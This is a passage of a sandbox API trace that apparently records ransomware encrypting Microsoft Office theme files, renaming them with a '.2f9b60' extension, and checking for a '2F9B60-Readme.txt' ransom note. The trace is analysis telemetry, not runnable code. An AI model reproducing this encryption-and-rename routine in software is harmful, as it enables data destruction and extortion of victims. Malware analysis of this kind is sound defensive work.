RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b90 [0095.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b90) returned 1 [0095.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20213cc0) returned 1 [0095.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202100b0) returned 1 [0095.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866e40) returned 1 [0095.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97530) returned 1 [0095.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ced7b90 [0095.765] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.765] WriteFile (in: hFile=0xe50, lpBuffer=0x168d60*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x28a4f6f0, lpOverlapped=0x0 | out: lpBuffer=0x168d60*, lpNumberOfBytesWritten=0x28a4f6f0*=0x108, lpOverlapped=0x0) returned 1 [0095.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0095.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0095.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0095.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8010) returned 1 [0095.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0095.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0095.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8220 [0095.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8220) returned 1 [0095.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0095.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0095.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f0f0 [0095.993] sprintf (in: _Dest=0x1cd9f0f0, _Format="%c%c" | out: _Dest="1f") returned 2 [0095.993] sprintf (in: _Dest=0x1cd9f0f2, _Format="%c%c" | out: _Dest="3a") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f0f4, _Format="%c%c" | out: _Dest="3a") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f0f6, _Format="%c%c" | out: _Dest="af") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f0f8, _Format="%c%c" | out: _Dest="ba") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f0fa, _Format="%c%c" | out: _Dest="75") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f0fc, _Format="%c%c" | out: _Dest="65") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f0fe, _Format="%c%c" | out: _Dest="62") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f100, _Format="%c%c" | out: _Dest="a0") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f102, _Format="%c%c" | out: _Dest="7d") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f104, _Format="%c%c" | out: _Dest="3f") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f106, _Format="%c%c" | out: _Dest="ff") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f108, _Format="%c%c" | out: _Dest="3c") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f10a, _Format="%c%c" | out: _Dest="e7") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f10c, _Format="%c%c" | out: _Dest="eb") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f10e, _Format="%c%c" | out: _Dest="9e") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f110, _Format="%c%c" | out: _Dest="27") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f112, _Format="%c%c" | out: _Dest="cb") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f114, _Format="%c%c" | out: _Dest="fa") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f116, _Format="%c%c" | out: _Dest="fc") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f118, _Format="%c%c" | out: _Dest="78") returned 2 [0095.994] sprintf (in: _Dest=0x1cd9f11a, _Format="%c%c" | out: _Dest="fa") returned 2 [0095.994] RtlInitAnsiString (in: DestinationString=0x28a4f768, SourceString="1f3a3aafba756562a07d3fff3ce7eb9e27cbfafc78fa" | out: DestinationString="1f3a3aafba756562a07d3fff3ce7eb9e27cbfafc78fa") [0095.995] RtlAnsiStringToUnicodeString (in: DestinationString=0x28a4f738, SourceString="1f3a3aafba756562a07d3fff3ce7eb9e27cbfafc78fa", AllocateDestinationString=1 | out: DestinationString="1f3a3aafba756562a07d3fff3ce7eb9e27cbfafc78fa") returned 0x0 [0095.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c1cd0 [0095.995] wcscat (in: _Dest=0x107e40, _Source="1f3a3aafba7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\1f3a3aafba7") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\1f3a3aafba7" [0095.995] wcscat (in: _Dest=0x107e40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\1f3a3aafba7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\1f3a3aafba7.2f9b60" [0095.995] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\1f3a3aafba7.2f9b60", NtPathName=0x28a4f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\1f3a3aafba7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x118a20 [0104.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118a20) returned 1 [0104.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c70) returned 1 [0104.720] NtQueryInformationFile (in: FileHandle=0xe50, IoStatusBlock=0x28a4f778, FileInformation=0x28a4f788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28a4f778, FileInformation=0x28a4f788) returned 0x0 [0104.720] NtSetInformationFile (FileHandle=0xe50, IoStatusBlock=0x28a4f778, FileInformation=0x28a4f788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107e40) returned 1 [0104.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1cd0) returned 1 [0104.725] FlushFileBuffers (hFile=0xe50) returned 1 [0104.730] CloseHandle (hObject=0xe50) returned 1 [0104.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107e40 [0104.731] wcscpy (in: _Dest=0x107e40, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0104.731] wcscat (in: _Dest=0x107e40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0104.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0104.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107e40) returned 1 [0104.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5c80) returned 1 Thread: id = 604 os_tid = 0x1054 [0094.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml")) returned 0x20 [0095.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml", dwFileAttributes=0x20) returned 1 [0095.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe4c [0095.161] GetFileSizeEx (in: hFile=0xe4c, lpFileSize=0x28b1fe40 | out: lpFileSize=0x28b1fe40*=960) returned 1 [0095.161] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x3bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.161] ReadFile (in: hFile=0xe4c, lpBuffer=0x28b1fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28b1fe08, lpOverlapped=0x0 | out: lpBuffer=0x28b1fdc0*, lpNumberOfBytesRead=0x28b1fe08*=0x4, lpOverlapped=0x0) returned 1 [0095.543] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0095.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced82b0 [0095.544] NtQuerySystemTime (in: CurrentTime=0x28b1fd00 | out: CurrentTime=0x28b1fd00*=132462177013762000) returned 0x0 [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x30d9ba3e [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x706490a7 [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x5845a3f4 [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x2bdbd377 [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x5401e446 [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x76dbdb24 [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x13b0dab3 [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x628627c0 [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x7de6af5a [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x3438c8a3 [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x34e74e68 [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x21acaf81 [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x30e42482 [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x50af8462 [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x680c1f12 [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x1d909f2b [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x529e9215 [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x5da51474 [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x30b94bc2 [0095.544] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x4ceeff35 [0095.545] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x352d8e45 [0095.545] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x1ee7759a [0095.545] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x6ccf9f9 [0095.545] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x7b02ec51 [0095.545] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x52917816 [0095.545] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x31c58e2c [0095.545] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x3ab0b8ca [0095.545] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x4bd0d427 [0095.545] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x582b9c79 [0095.545] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x1261064e [0095.545] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x329ffdc8 [0095.545] RtlRandomEx (in: Seed=0x28b1fcf0 | out: Seed=0x28b1fcf0) returned 0x5e7f4928 [0095.557] ReadFile (in: hFile=0xe4c, lpBuffer=0x2022e130, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x28b1fcf0, lpOverlapped=0x0 | out: lpBuffer=0x2022e130*, lpNumberOfBytesRead=0x28b1fcf0*=0x3c0, lpOverlapped=0x0) returned 1 [0095.557] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.557] WriteFile (in: hFile=0xe4c, lpBuffer=0x20231d40*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x28b1fcf4, lpOverlapped=0x0 | out: lpBuffer=0x20231d40*, lpNumberOfBytesWritten=0x28b1fcf4*=0x3c0, lpOverlapped=0x0) returned 1 [0095.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0095.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0095.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20231d40) returned 1 [0095.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2022e130) returned 1 [0095.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0095.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97670) returned 1 [0095.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0095.780] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.780] WriteFile (in: hFile=0xe4c, lpBuffer=0x169800*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x28b1fe10, lpOverlapped=0x0 | out: lpBuffer=0x169800*, lpNumberOfBytesWritten=0x28b1fe10*=0x104, lpOverlapped=0x0) returned 1 [0095.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0095.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e6f0 [0095.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860660 [0095.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860660) returned 1 [0095.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0095.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860660 [0095.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860600 [0095.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860600) returned 1 [0095.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e6f0) returned 1 [0095.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0095.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b860600 [0095.948] sprintf (in: _Dest=0x1b860600, _Format="%c%c" | out: _Dest="bb") returned 2 [0095.948] sprintf (in: _Dest=0x1b860602, _Format="%c%c" | out: _Dest="05") returned 2 [0095.948] sprintf (in: _Dest=0x1b860604, _Format="%c%c" | out: _Dest="53") returned 2 [0095.948] sprintf (in: _Dest=0x1b860606, _Format="%c%c" | out: _Dest="b9") returned 2 [0095.949] sprintf (in: _Dest=0x1b860608, _Format="%c%c" | out: _Dest="fa") returned 2 [0095.949] sprintf (in: _Dest=0x1b86060a, _Format="%c%c" | out: _Dest="5d") returned 2 [0095.949] sprintf (in: _Dest=0x1b86060c, _Format="%c%c" | out: _Dest="64") returned 2 [0095.949] sprintf (in: _Dest=0x1b86060e, _Format="%c%c" | out: _Dest="63") returned 2 [0095.949] sprintf (in: _Dest=0x1b860610, _Format="%c%c" | out: _Dest="8f") returned 2 [0095.949] sprintf (in: _Dest=0x1b860612, _Format="%c%c" | out: _Dest="ef") returned 2 [0095.949] sprintf (in: _Dest=0x1b860614, _Format="%c%c" | out: _Dest="18") returned 2 [0095.949] sprintf (in: _Dest=0x1b860616, _Format="%c%c" | out: _Dest="a5") returned 2 [0095.949] sprintf (in: _Dest=0x1b860618, _Format="%c%c" | out: _Dest="d6") returned 2 [0095.949] sprintf (in: _Dest=0x1b86061a, _Format="%c%c" | out: _Dest="12") returned 2 [0095.949] sprintf (in: _Dest=0x1b86061c, _Format="%c%c" | out: _Dest="78") returned 2 [0095.949] sprintf (in: _Dest=0x1b86061e, _Format="%c%c" | out: _Dest="b2") returned 2 [0095.949] sprintf (in: _Dest=0x1b860620, _Format="%c%c" | out: _Dest="9a") returned 2 [0095.949] sprintf (in: _Dest=0x1b860622, _Format="%c%c" | out: _Dest="33") returned 2 [0095.949] RtlInitAnsiString (in: DestinationString=0x28b1fe88, SourceString="bb0553b9fa5d64638fef18a5d61278b29a33" | out: DestinationString="bb0553b9fa5d64638fef18a5d61278b29a33") [0095.949] RtlAnsiStringToUnicodeString (in: DestinationString=0x28b1fe58, SourceString="bb0553b9fa5d64638fef18a5d61278b29a33", AllocateDestinationString=1 | out: DestinationString="bb0553b9fa5d64638fef18a5d61278b29a33") returned 0x0 [0095.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858e50 [0095.950] wcscat (in: _Dest=0x1b7a6360, _Source="bb0553b9f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\bb0553b9f") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\bb0553b9f" [0095.950] wcscat (in: _Dest=0x1b7a6360, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\bb0553b9f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\bb0553b9f.2f9b60" [0095.950] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\bb0553b9f.2f9b60", NtPathName=0x28b1fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\bb0553b9f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x1186e0 [0105.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1186e0) returned 1 [0105.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202665e0) returned 1 [0105.669] NtQueryInformationFile (in: FileHandle=0xe4c, IoStatusBlock=0x28b1fe98, FileInformation=0x28b1fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28b1fe98, FileInformation=0x28b1fea8) returned 0x0 [0105.669] NtSetInformationFile (FileHandle=0xe4c, IoStatusBlock=0x28b1fe98, FileInformation=0x28b1fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0106.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a6360) returned 1 [0106.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858e50) returned 1 [0106.103] FlushFileBuffers (hFile=0xe4c) returned 1 [0106.105] CloseHandle (hObject=0xe4c) returned 1 [0106.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107a80 [0106.116] wcscpy (in: _Dest=0x107a80, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0106.116] wcscat (in: _Dest=0x107a80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0106.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0106.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0106.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad8e0) returned 1 Thread: id = 605 os_tid = 0x1058 [0094.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml")) returned 0x20 [0095.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml", dwFileAttributes=0x20) returned 1 [0095.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe48 [0095.159] GetFileSizeEx (in: hFile=0xe48, lpFileSize=0x288efc00 | out: lpFileSize=0x288efc00*=961) returned 1 [0095.159] SetFilePointerEx (in: hFile=0xe48, liDistanceToMove=0x3bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.159] ReadFile (in: hFile=0xe48, lpBuffer=0x288efb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x288efbc8, lpOverlapped=0x0 | out: lpBuffer=0x288efb80*, lpNumberOfBytesRead=0x288efbc8*=0x4, lpOverlapped=0x0) returned 1 [0095.529] SetFilePointerEx (in: hFile=0xe48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f80 [0095.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0095.529] NtQuerySystemTime (in: CurrentTime=0x288efac0 | out: CurrentTime=0x288efac0*=132462177013606000) returned 0x0 [0095.529] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x10679def [0095.529] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x5e7b03d2 [0095.529] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x36e23761 [0095.529] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x3f6756c4 [0095.529] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x3139d602 [0095.529] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x2b5114fb [0095.529] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x1e800bdb [0095.529] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x12913436 [0095.529] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x1fe4daea [0095.529] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x5264ed68 [0095.529] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x127d359c [0095.529] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x5f2a594 [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x65c4b02e [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x415ac5b0 [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x529e9215 [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x61a4faa9 [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x73a4b94 [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x25f2bf6e [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0xff56e99 [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x70e507ea [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x3594309e [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x77fa3e52 [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0xe53b19 [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x57b04e96 [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x7c2aa02e [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x70c027ac [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x17320dff [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x628f0d7 [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x4eef1b23 [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x77e39a95 [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x16c28e76 [0095.530] RtlRandomEx (in: Seed=0x288efab0 | out: Seed=0x288efab0) returned 0x3955afaf [0095.540] ReadFile (in: hFile=0xe48, lpBuffer=0x20226910, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x288efab0, lpOverlapped=0x0 | out: lpBuffer=0x20226910*, lpNumberOfBytesRead=0x288efab0*=0x3c1, lpOverlapped=0x0) returned 1 [0095.541] SetFilePointerEx (in: hFile=0xe48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.541] WriteFile (in: hFile=0xe48, lpBuffer=0x2022a520*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x288efab4, lpOverlapped=0x0 | out: lpBuffer=0x2022a520*, lpNumberOfBytesWritten=0x288efab4*=0x3c1, 